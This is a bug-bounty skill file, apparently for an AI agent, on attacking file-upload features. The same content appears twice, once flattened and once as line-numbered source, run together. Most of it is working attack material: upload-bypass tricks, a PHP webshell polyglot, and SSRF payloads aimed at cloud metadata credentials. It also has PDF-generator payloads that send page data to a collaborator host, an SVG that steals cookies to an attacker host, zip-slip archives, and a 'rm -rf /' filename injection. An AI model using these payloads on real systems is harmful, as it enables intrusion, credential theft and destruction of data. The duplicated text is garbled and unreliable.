9. FILE UPLOAD
Content-Type Bypass
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
File Upload Bypass Techniques (10 techniques)
| Attack |
How |
Prevention |
| Extension bypass |
shell.php.jpg, shell.pHp, shell.php5 |
Allowlist + extract final extension |
| Null byte |
shell.php%00.jpg |
Sanitize null bytes |
| Double extension |
shell.jpg.php |
Only allow single extension |
| MIME spoof |
Content-Type: image/jpeg with .php body |
Validate magic bytes, not MIME header |
| Magic bytes prefix |
Prepend GIF89a; to PHP code |
Parse whole file, not just header |
| Polyglot |
Valid as JPEG and PHP |
Process as image lib, reject if invalid |
| SVG JavaScript |
<svg> |
Sanitize SVG or disallow entirely |
| XXE in DOCX |
Malicious XML in Office ZIP |
Disable external entities |
| ZIP slip |
../../../etc/passwd in archive |
Validate extracted paths |
| Filename injection |
; rm -rf / in filename |
Sanitize + use UUID names |
Magic Bytes Reference
| Type |
Hex |
| JPEG |
FF D8 FF |
| PNG |
89 50 4E 47 0D 0A 1A 0A |
| GIF |
47 49 46 38 |
| PDF |
25 50 44 46 |
| ZIP/DOCX/XLSX |
50 4B 03 04 |
Stored XSS via SVG
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
ImageMagick / FFmpeg Exploitation
ImageMagick SSRF / File Read (ImageTragick family + modern variants)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
FFmpeg SSRF via HLS Playlist
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
Headless Chrome / PDF Generator SSRF
HTML → PDF Converter Attacks
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"
Archive Extraction Attacks (Zip Slip / Symlink)
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"
Related Skills & Chains
hunt-rce — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot GIF89a;<?php system($_GET['c']);?> bypasses magic-byte check + .phtml extension bypasses allowlist → GET /uploads/shell.phtml?c=id → RCE; or PHP phar:// upload to a sink calling file_exists() on the attacker-controlled path → PHP object deserialization → RCE.hunt-xxe — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose [Content_Types].xml or word/document.xml includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil /etc/passwd or web.config via the document parser.hunt-xss — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with <script>fetch('//attacker/?'+document.cookie)</script> → victim views attachment at app.target.com/uploads/x.svg (same origin, not sandboxed) → cookie theft → ATO via session hijack.hunt-ssrf — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> or ffmpeg concat:http://internal/... → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.security-arsenal — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, .phtml/.phar/.php5/.pht, .htaccess upload to re-enable handlers, web.config upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.triage-validation — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual whoami round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
1---2name: hunt-file-upload3description: Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples.4---56## 9. FILE UPLOAD78### Content-Type Bypass9```10filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type11filename=shell.phtml, shell.pHp, shell.php5 → extension variants12```1314### File Upload Bypass Techniques (10 techniques)1516| Attack | How | Prevention |17|---|---|---|18| Extension bypass | `shell.php.jpg`, `shell.pHp`, `shell.php5` | Allowlist + extract final extension |19| Null byte | `shell.php%00.jpg` | Sanitize null bytes |20| Double extension | `shell.jpg.php` | Only allow single extension |21| MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header |22| Magic bytes prefix | Prepend `GIF89a;` to PHP code | Parse whole file, not just header |23| Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid |24| SVG JavaScript | `<svg onload="...">` | Sanitize SVG or disallow entirely |25| XXE in DOCX | Malicious XML in Office ZIP | Disable external entities |26| ZIP slip | `../../../etc/passwd` in archive | Validate extracted paths |27| Filename injection | `; rm -rf /` in filename | Sanitize + use UUID names |2829### Magic Bytes Reference3031| Type | Hex |32|---|---|33| JPEG | `FF D8 FF` |34| PNG | `89 50 4E 47 0D 0A 1A 0A` |35| GIF | `47 49 46 38` |36| PDF | `25 50 44 46` |37| ZIP/DOCX/XLSX | `50 4B 03 04` |3839### Stored XSS via SVG40```xml41<?xml version="1.0"?>42<svg xmlns="http://www.w3.org/2000/svg">43 <script>alert(document.domain)</script>44</svg>45```4647---4849## ImageMagick / FFmpeg Exploitation5051### ImageMagick SSRF / File Read (ImageTragick family + modern variants)52```bash53# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)54# MVG SSRF payload — fetches internal URL during processing55cat > /tmp/ssrf.mvg << 'EOF'56push graphic-context57viewbox 0 0 640 48058fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'59pop graphic-context60EOF6162# SVG SSRF (ImageMagick processes SVG remotely)63cat > /tmp/ssrf.svg << 'EOF'64<?xml version="1.0"?>65<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>66<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">67 <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>68</svg>69EOF7071# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)72# Upload a crafted WebP file targeting libwebp heap overflow73# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC74```7576### FFmpeg SSRF via HLS Playlist77```bash78# FFmpeg processes m3u8 playlists and fetches referenced segments79cat > /tmp/ssrf.m3u8 << 'EOF'80#EXTM3U81#EXT-X-MEDIA-SEQUENCE:082#EXTINF:10.0,83http://169.254.169.254/latest/meta-data/iam/security-credentials/84#EXT-X-ENDLIST85EOF8687# Also works with concat demuxer88cat > /tmp/concat.txt << 'EOF'89ffconcat version 1.090file 'http://COLLAB_HOST/ffmpeg-ssrf'91EOF9293# Test: upload .m3u8 or video file to any video processing endpoint94```9596---9798## Headless Chrome / PDF Generator SSRF99100### HTML → PDF Converter Attacks101```bash102# Target: invoice generators, report exporters, screenshot services103# Inject HTML that causes headless Chrome to fetch internal resources104105# SSRF via CSS import106PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'107108# SSRF via HTML iframe109PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'110111# Local file read112PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'113114# JavaScript execution (if sandbox not enforced)115PAYLOAD='<html><body><script>116fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));117</script></body></html>'118119# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint120curl -s -X POST "https://$TARGET/api/generate-pdf" \121 -H "Content-Type: application/json" \122 -d "{\"html\": \"$PAYLOAD\"}"123```124125---126127## Archive Extraction Attacks (Zip Slip / Symlink)128129```bash130# Zip Slip — path traversal via archive filenames131pip3 install evilarc132python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip133134# Symlink attack — archive contains symlink to sensitive file135mkdir -p /tmp/sym_attack136ln -s /etc/passwd /tmp/sym_attack/innocent.txt137zip -ry /tmp/symlink.zip /tmp/sym_attack/138139# TAR symlink attack140tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/141142# Test: upload to any /import, /extract, /unzip endpoint143curl -s -X POST "https://$TARGET/api/import" \144 -F "file=@/tmp/zipslip.zip"145```146147---148149## Related Skills & Chains150151- **`hunt-rce`** — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot `GIF89a;<?php system($_GET['c']);?>` bypasses magic-byte check + `.phtml` extension bypasses allowlist → `GET /uploads/shell.phtml?c=id` → RCE; or PHP `phar://` upload to a sink calling `file_exists()` on the attacker-controlled path → PHP object deserialization → RCE.152- **`hunt-xxe`** — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose `[Content_Types].xml` or `word/document.xml` includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil `/etc/passwd` or `web.config` via the document parser.153- **`hunt-xss`** — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with `<script>fetch('//attacker/?'+document.cookie)</script>` → victim views attachment at `app.target.com/uploads/x.svg` (same origin, not sandboxed) → cookie theft → ATO via session hijack.154- **`hunt-ssrf`** — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with `<image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">` or ffmpeg `concat:http://internal/...` → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.155- **`security-arsenal`** — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, `.phtml`/`.phar`/`.php5`/`.pht`, `.htaccess` upload to re-enable handlers, `web.config` upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.156- **`triage-validation`** — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual `whoami` round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
zyrexnn